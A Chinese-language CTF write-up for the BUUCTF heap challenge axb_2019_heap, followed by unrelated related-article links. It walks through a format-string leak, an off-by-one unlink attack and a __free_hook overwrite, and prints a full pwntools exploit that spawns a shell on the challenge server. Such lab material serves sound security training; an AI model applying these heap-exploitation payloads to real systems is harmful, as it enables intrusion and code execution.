拖进IDA之后,发现输入函数是存在off-by-one漏洞的,可以进行溢出

同时存在全局指针数组,就可以利用这个溢出来构造fake chunk,然后实现unlink
除此之外,这个程序malloc的大小是不能小于0x80的,额。。。其实这个不重要,问题不大,注意下就好了
但是,程序的保护全都开启了

也就是说,程序的地址是随机的,我们并不知道chunk指针的存放地址
如何泄露呢?这时还发现程序开头存在格式化字符串的漏洞

打开调试,输入8个a,在printf(&format)这里停一下,然后看下栈

发现栈中存在__libc_start_main+240的地址,和程序main函数的地址
因此,我们可以通过格式化字符串泄露出这两个地址,然后计算出libc_base和程序基地址
经过调试,这两个地址分别是第15和第19个参数

libc=ELF('./libc-2.23.so')
sh.recvuntil("Enter your name: ")
sh.sendline("%15$p%19$p")
sh.recvuntil("0x")
addr1=int(sh.recvuntil("0x")[:-2],16)
libc_base=addr1-240-libc.symbols["__libc_start_main"]
addr2=int(sh.recvuntil("\n")[:-1],16)
base=addr2-0x116a
info("libc_base:0x%x",libc_base)
info("base:0x%x",base)

0x116a是这里得来的


好的,成功了,这题已经搞定了一半了

ptr=base+0x202060
#free_got=base+0x201F58
system_addr=libc_base+libc.symbols["system"]
free_hook=libc_base+libc.symbols["__free_hook"]

计算出几个要用到的东西的地址

add(0,0x98,'aaaaaaaa')
add(1,0x90,'bbbbbbbb')
payload=p64(0)+p64(0x91)+p64(ptr-0x18)+p64(ptr-0x10)
payload+="a"*0x70+p64(0x90)+"\xa0"
edit(0,payload)

布置好可以触发unlink的数据

delete(1)

unlink,每次到这一步就莫名激动
现在我们已经控制了chunk指针处的数据了,想干嘛就干嘛

payload=p64(0)*3+p64(free_hook)+p64(0x38)
payload+=p64(ptr+0x18)+"/bin/sh\x00"
edit(0,payload)

将free_hook写在chunk0指针处,企图劫持free_hook,同时写入"/bin/sh"
3个p64(0)填充,0x38这里是chunk0数据大小,这个数据随意,足够我们将payload写入就行

payload=p64(system_addr)
edit(0,payload)
delete(1)
sh.interactive()

将system_addr写到free_hook
执行free(chunk1)即可

最后写一下自己犯的两个错误,第一个就是计算0x90+0x10的时候算成了0x100。。。。。
第二个就是我一开始企图修改free_got,后来想起来程序开了Full Relro(应该是这个原因),导致改写不了
然后,完整exp:

from pwn import *
sh=remote("node3.buuoj.cn",26035)
context.log_level='debug'
elf=ELF('axb_2019_heap')
libc=ELF('./libc-2.23.so')
def add(idx,size,content):sh.sendlineafter(">> ","1")sh.recvuntil("(0-10):")sh.sendline(str(idx))sh.recvuntil("Enter a size:\n")sh.sendline(str(size))sh.recvuntil("Enter the content: \n")sh.sendline(content)
def edit(idx,content):sh.sendlineafter(">> ","4")sh.recvuntil("Enter an index:\n")sh.sendline(str(idx))sh.recvuntil("Enter the content: \n")sh.sendline(content)
def delete(idx):sh.sendlineafter(">> ","2")sh.recvuntil("Enter an index:\n")sh.sendline(str(idx))sh.recvuntil("Enter your name: ")
sh.sendline("%15$p%19$p")
sh.recvuntil("0x")
addr1=int(sh.recvuntil("0x")[:-2],16)
libc_base=addr1-240-libc.symbols["__libc_start_main"]
addr2=int(sh.recvuntil("\n")[:-1],16)
base=addr2-0x116a
info("libc_base:0x%x",libc_base)
info("base:0x%x",base)ptr=base+0x202060
#free_got=base+0x201F58
system_addr=libc_base+libc.symbols["system"]
free_hook=libc_base+libc.symbols["__free_hook"]add(0,0x98,'aaaaaaaa')
add(1,0x90,'bbbbbbbb')
payload=p64(0)+p64(0x91)+p64(ptr-0x18)+p64(ptr-0x10)
payload+="a"*0x70+p64(0x90)+"\xa0"
edit(0,payload)delete(1)payload=p64(0)*3+p64(free_hook)+p64(0x38)
payload+=p64(ptr+0x18)+"/bin/sh\x00"
edit(0,payload)
payload=p64(system_addr)
edit(0,payload)
delete(1)
sh.interactive()

buuctf axb_2019_heap相关推荐

  1. axb_2019_heap详解

    关于axb_2019_heap的详解 参考:buuctf axb_2019_heap 程序流程 banner:存在格式化字符串漏洞,可以泄漏栈上的信息 add:根据idx创建size(大于0x80)大 ...

  2. PWN-PRACTICE-BUUCTF-23

    PWN-PRACTICE-BUUCTF-23 gyctf_2020_some_thing_exceting axb_2019_heap [极客大挑战 2019]Not Bad inndy_echo g ...

  3. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  4. BUUCTF的Web真题学习整理(一)

    目录 WEB1-WarmUp (任意文件包含漏洞) WEB2-高明的黑客(fuzz脚本) WEB3-easy_tornado (服务端模板注入(ssti攻击)) WEB4-Hack World(时间盲 ...

  5. BUUCTF寒假刷题-Web

    前言 寒假横向刷题(尽量) BUUCTF

  6. BUUCTF之[Zer0pts2020]Can you guess it? basename函数绕过

    BUUCTF之[Zer0pts2020]Can you guess it? basename函数绕过 题目 后台PHP源码: <?php include 'config.php'; // FLA ...

  7. BUUCTF刷题笔记

    BUUCTF刷题笔记 [极客大挑战 2019]BabySQL 从这句话我们可以看出,这个网站的后台是做了过滤处理的 这个时候我们先用万能密码实验一下看看,是什么类型的SQL注入 输入1',看看返回的结 ...

  8. BUUCTF Quoted-printable编码

    Quoted-printable可译为"可打印字符引用编码",编码常用在电子邮件中,如:Content-Transfer-Encoding: quoted-printable ,它 ...

  9. BUUCTF NewStarCTF一些新知识记录

    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 目录 前言 一.eazyxor 二.RSA_begin 三.Yesec no drumsticks 四.EzSnake 五.Pyre ...

最新文章

  1. Android中对Log日志文件的分析[转]
  2. php剪切文件,C/C++文件剪切复制删除
  3. 人月神话第一篇阅读笔记
  4. 20180307:python接口测试时json的传参与解析区分
  5. 消息队列面试 - 如何保证消息不被重复消费?或者说,如何保证消息消费的幂等性?
  6. 物联网中间件的未来是云计算技术为中心和混合结构
  7. [原]pomelo开发环境搭建
  8. CentOS 7 下安装.NET Core SDK 2.1
  9. Flutter最佳入门方式——写一个计算器
  10. python 日志框架_按日期打印Python的Tornado框架中的日志的方法
  11. drools mysql_drools 介绍
  12. AUTOCAD——Measregeom测量工具
  13. UIStoryBoard 中修改控件borderColor
  14. idea开发SSM框架乐器租赁网站管理系统 (javaweb-php-asp.netC#-j2ee-springboot)
  15. [BZOJ3653]谈笑风生 主席树
  16. require.js的用法-阮一峰
  17. 深入解析著名的阿里云Log4j 漏洞
  18. 2022-2028年中国危化品运输行业市场深度分析及投资规模预测报告
  19. 音频频谱显示-基于fmod设计音乐播放器并动态显示频谱图(二)
  20. Kafka服务不可用(宕机)问题踩坑记

热门文章

  1. gdb optimized out
  2. Mapv 地图可视化工具的使用
  3. 作为一个前端工程师,我来说说红芯浏览器
  4. 多元回归和Logistic回归
  5. 企业财务制度二--会计科目名称和编号(一)1151 预付账款(转载)
  6. 绿色全要素生产率,python,采用全局生产技术的弱可处置性非径向方向距离函数(NDDF),可调方向权重,DDF,DEA
  7. Unity3D换装系统原理
  8. 倾向性得分(psm)在数据分析中的应用。
  9. 未经专业销密的计算机设备,对计算机硬盘、U盘等存储部件进行删除或格式化处理,只是对__进行了删除操作,对于__并没有做任 - 普法考试题库问答...
  10. 美容院SPA会员管理系统源码 美容行业会员管理收银系统源码